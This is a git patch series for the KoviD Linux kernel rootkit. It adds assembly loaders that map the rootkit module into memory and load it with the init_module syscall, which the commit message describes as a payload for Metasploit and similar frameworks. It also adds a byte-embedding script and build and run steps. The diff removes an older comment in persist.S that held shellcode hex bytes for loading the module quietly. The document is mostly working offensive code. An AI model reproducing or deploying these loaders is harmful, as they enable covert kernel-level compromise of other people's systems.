From 691d87dbb16aff7968756252e4555e67d26e82f0 Mon Sep 17 00:00:00 2001 From: JNE Date: Thu, 21 Nov 2024 23:55:09 +0000 Subject: [PATCH 1/2] Add init_module loader injection Can be used as a payload for metasplait and others incbin loads the lkm from disk embed loads the lkm from .byte include both mmap an area the size of the binary, then invoke init_module syscall and exit --- inject/Makefile | 17 +++++++ inject/README.md | 19 ++++++++ inject/hello.c | 19 ++++++++ inject/kv_embed.S | 108 ++++++++++++++++++++++++++++++++++++++++++++ inject/kv_incbin.S | 109 +++++++++++++++++++++++++++++++++++++++++++++ inject/update.sh | 2 + src/persist.S | 66 +++++++++++++-------------- 7 files changed, 307 insertions(+), 33 deletions(-) create mode 100644 inject/Makefile create mode 100644 inject/README.md create mode 100644 inject/hello.c create mode 100644 inject/kv_embed.S create mode 100644 inject/kv_incbin.S create mode 100755 inject/update.sh diff --git a/inject/Makefile b/inject/Makefile new file mode 100644 index 0000000..039a015 --- /dev/null +++ b/inject/Makefile @@ -0,0 +1,17 @@ +# turn off ring buffer debug: +# $ DEPLOY=1 make + +LD=$(shell which ld) +AS=$(shell which as) + +all: + # kovid as include file + as -o kv_incbin.o kv_incbin.S + ld -o kv_incbin kv_incbin.o + # kovid embedded + as -o kv_embed.o kv_embed.S + ld -o kv_embed kv_embed.o + +clean: + @rm -fv *.o kv_incbin kv_embed + diff --git a/inject/README.md b/inject/README.md new file mode 100644 index 0000000..b916344 --- /dev/null +++ b/inject/README.md @@ -0,0 +1,19 @@ +Steps: + +1 - Build KoviD + + $ export PROCNAME=kovid + + $ make + + $ make strip + +2 - Build assembly code + + $ ./update.sh && make + +3 - Test it + + $ sudo ./kv_embed + +4 - Check dmesg for KoviD if it's been loaded diff --git a/inject/hello.c b/inject/hello.c new file mode 100644 index 0000000..dc9437b --- /dev/null +++ b/inject/hello.c @@ -0,0 +1,19 @@ +// hello.c +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("hash"); +MODULE_DESCRIPTION("Hello World"); + +static int __init hello_init(void) { + printk(KERN_INFO "Hello, world!\n"); + return 0; +} + +static void __exit hello_exit(void) { + printk(KERN_INFO "Bye!\n"); +} + +module_init(hello_init); +module_exit(hello_exit); diff --git a/inject/kv_embed.S b/inject/kv_embed.S new file mode 100644 index 0000000..7acf1c7 --- /dev/null +++ b/inject/kv_embed.S @@ -0,0 +1,108 @@ +# BSD 3-Clause License +# +# Copyright (c) 2024, Carlos Carvalho +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# © 2022 GitHub, Inc. +# Terms +# Privacy +# Security + + +# mmap and load KoviD binary from .inc file + +.section .data + empty_str: .asciz "" # pass empty name to init_module so to avoid a warning + +.section .text +.globl _start + +_start: + # module size + mov $kovid_ko_end-kovid_ko, %r15 + + add $4095, %r15 + and $-4096, %r15 + + mov $9, %rax # mmap syscall number + xor %rdi, %rdi # addr = NULL (let kernel choose) + mov %r15, %rsi # length = rounded up module size + mov $3, %rdx # prot = PROT_READ | PROT_WRITE 0x3 + mov $0x22, %r10 # flags = MAP_PRIVATE | MAP_ANONYMOUS + mov $-1, %r8 # fd = -1 (anonymous mapping) + xor %r9, %r9 # offset 0 + syscall + + cmp $-1, %rax + je mmap_error + + mov %rax, %r12 # mmap addr + + lea kovid_ko(%rip), %rsi # src + mov %r12, %rdi # dst + mov $kovid_ko_end-kovid_ko, %rcx # module size + rep movsb + + mov $175, %rax # init_module syscall number + mov %r12, %rdi # module data + mov $kovid_ko_end-kovid_ko, %rsi # length of the module + lea empty_str(%rip), %rdx # empty string as modname + syscall + + cmp $0, %rax + jne init_error + + mov $11, %rax # munmap syscall number + mov %r12, %rdi # address + mov %r15, %rsi # length + syscall + + mov $60, %rax # exit + xor %rdi, %rdi # zero status + syscall + +mmap_error: + mov $60, %rax # exit + mov $1, %rdi # status 1 + syscall + +init_error: + mov $11, %rax # munmap syscall number + mov %r12, %rdi # address + mov %r15, %rsi # length + syscall + + mov $60, %rax # exit syscall number + mov $1, %rdi # status 1 + syscall + +.section .data +kovid_ko: + .include "kv_embed.inc" + +kovid_ko_end: + diff --git a/inject/kv_incbin.S b/inject/kv_incbin.S new file mode 100644 index 0000000..98e8982 --- /dev/null +++ b/inject/kv_incbin.S @@ -0,0 +1,109 @@ +# BSD 3-Clause License +# +# Copyright (c) 2024, Carlos Carvalho +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# © 2022 GitHub, Inc. +# Terms +# Privacy +# Security + + +# mmap and load KoviD binary from disk + +.section .data + empty_str: .asciz "" # pass empty name to init_module so to avoid a warning + +.section .text +.globl _start + +_start: + mov $kovid_ko_end-kovid_ko, %r15 + + # round up page + add $4095, %r15 + and $-4096, %r15 + + mov $9, %rax # mmap syscall number + xor %rdi, %rdi # addr = NULL (let kernel choose) + mov %r15, %rsi # length = rounded up module size + mov $3, %rdx # prot = PROT_READ | PROT_WRITE + mov $0x22, %r10 # flags = MAP_PRIVATE | MAP_ANONYMOUS + mov $-1, %r8 # fd = -1 (anonymous mapping) + xor %r9, %r9 # offset = 0 + syscall + + cmp $-1, %rax # failed? + je mmap_error + + # Save the mmap address + mov %rax, %r12 # save mmap addr + + lea kovid_ko(%rip), %rsi # source address + mov %r12, %rdi # destination address + mov $kovid_ko_end-kovid_ko, %rcx # size of the module + rep movsb + + mov $175, %rax # init_module syscall number + mov %r12, %rdi # module data + mov $kovid_ko_end-kovid_ko, %rsi # length of the module + lea empty_str(%rip), %rdx # empty string as modname + syscall + + cmp $0, %rax # if init_module return error + jne init_error + + mov $11, %rax # munmap + mov %r12, %rdi # address + mov %r15, %rsi # length + syscall + + mov $60, %rax # exit + xor %rdi, %rdi # zero status + syscall + +mmap_error: + mov $60, %rax # exit + mov $1, %rdi # status 1 + syscall + +init_error: + + mov $11, %rax # munmap + mov %r12, %rdi # address + mov %r15, %rsi # length + syscall + + mov $60, %rax + mov $1, %rdi # exit error + syscall + +.section .data +kovid_ko: + .incbin "../kovid.ko" +kovid_ko_end: + diff --git a/inject/update.sh b/inject/update.sh new file mode 100755 index 0000000..d4a2bc0 --- /dev/null +++ b/inject/update.sh @@ -0,0 +1,2 @@ +#!/bin/bash +xxd -i ../kovid.ko |grep ^" "|while read l ; do echo " .byte $l"|sed 's/,$//' ; done >kv_embed.inc diff --git a/src/persist.S b/src/persist.S index ff135ff..6769c8e 100644 --- a/src/persist.S +++ b/src/persist.S @@ -1,36 +1,36 @@ -/** - * Linux Kernel version <= 5.8.0 - * - hash - * - * KoviD rootkit - * - * This code is designed to serve as the payload for Volundr. - * - * While it can be readily customized to execute other commands, - * its primary purpose is to load a Linux Kernel Module (LKM) quietly. - * - * Make sure to read this! You will need the 'loadmodule.sh' script: - * - * ---snip--- - * #!/bin/bash - * /sbin/insmod $1 2>/dev/null - * ---snip--- - * - * \x50\x51\x52\x56\x57\x41\x53\xb8\x39\x00\x00\x00\x0f\x05\x83\xf8\x00\x75 - * \x31\x48\x8d\x05\xb9\x00\x00\x00\x48\x8d\x3d\xa6\x00\x00\x00\x48\x31\xd2 - * \x52\x50\x57\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\x8f\x00 - * \x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05\x48\x31\xc0\xb8\x02\x00\x00 - * \x00\x48\x8d\x3d\x8f\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x0f\x05\x48 - * \x83\xec\x10\x48\x89\xc7\xb8\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x11 - * \x00\x00\x00\x0f\x05\x48\xc7\xc1\x12\x00\x00\x00\xb0\x2d\x48\x89\xe7\xfc - * \xf2\xae\x49\xc7\xc5\x11\x00\x00\x00\x49\x29\xcd\x4c\x89\xe9\x48\x31\xdb - * \x48\x89\xe6\x48\x89\xf7\xfc\xac\x3c\x39\x7e\x04\x2c\x57\xeb\x02\x2c\x30 - * \x48\xc1\xe3\x04\x48\x09\xc3\xaa\xe2\xeb\x48\x83\xc4\x10\x49\xb8\x88\x77 - * \x66\x55\x44\x33\x22\x11\x49\x01\xd8\x41\x5b\x5f\x5e\x5a\x59\x58\x41\xff - * \xe0\x2f\x76\x61\x72\x2f\x2e\x6c\x6d\x2e\x73\x68\x2f\x76\x61\x72\x2f\x2e - * \x6b\x76\x2e\x6b\x6f\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x6d\x61 - * \x70\x73 - */ +# BSD 3-Clause License +# +# Copyright (c) 2024, Carlos Carvalho +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# © 2022 GitHub, Inc. +# Terms +# Privacy +# Security .globl _start From c26924b3320f7711dc13bfd4aa5a6713add63028 Mon Sep 17 00:00:00 2001 From: chash Date: Fri, 22 Nov 2024 23:50:40 +0000 Subject: [PATCH 2/2] readme: update --- inject/README.md | 20 +++++++------------- 1 file changed, 7 insertions(+), 13 deletions(-) diff --git a/inject/README.md b/inject/README.md index b916344..2043293 100644 --- a/inject/README.md +++ b/inject/README.md @@ -1,19 +1,13 @@ -Steps: +## 1 Build steps -1 - Build KoviD +### 1.1 Build KoviD - $ export PROCNAME=kovid + cd ../ && PROCNAME=kovid make && make strip && cd - - $ make +## 2 Build payload - $ make strip + ./update.sh && make -2 - Build assembly code +## 3 Test - $ ./update.sh && make - -3 - Test it - - $ sudo ./kv_embed - -4 - Check dmesg for KoviD if it's been loaded + sudo ./kv_embed ; dmesg